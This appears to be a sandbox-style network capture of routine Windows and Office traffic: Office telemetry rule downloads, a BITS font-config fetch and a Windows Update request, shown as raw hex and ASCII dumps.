2024-12-07 23:48:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:22 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234822Z-r1cf579d778bb9vvhC1EWRs95400000003e00000000020f9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234822Z-r1cf579d778g2t6ghC1EWRfggs0000000360000000004w5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3fcfbabf-e01e-0052-0903-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234822Z-r1cf579d778xr2r4hC1EWRqvfs00000003qg0000000097uy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49734	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 23:48:24 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=33027 Date: Sat, 07 Dec 2024 23:48:24 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234825Z-r1cf579d778x776bhC1EWRdk8000000003qg0000000071d1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234825Z-r1cf579d778kr8xrhC1EWRfkun0000000460000000006862 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fff301c7-601e-0097-4606-48f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234825Z-r1cf579d77867vg8hC1EWR8knc00000003h000000000833w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ad3e0835-e01e-0033-5701-484695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234825Z-r1cf579d778w59f9hC1EWRze6w00000004000000000056c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234825Z-r1cf579d778dfdgnhC1EWRd3w000000003g00000000085xu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49747	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 23:48:26 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=165490 Date: Sat, 07 Dec 2024 23:48:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-07 23:48:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49735	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7bgLlHXmrbbZo3x&MD=8UnrH6tA HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 23:48:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b1f8d838-4c58-4e4f-83af-9ae859aabd7b MS-RequestId: f2b36661-64dc-4167-9ba5-375d798bf1d0 MS-CV: qZVSxWTZSUCFyXIy.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 23:48:26 GMT Connection: close Content-Length: 24490
2024-12-07 23:48:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-07 23:48:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234827Z-r1cf579d778kr8xrhC1EWRfkun000000043000000000a5qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
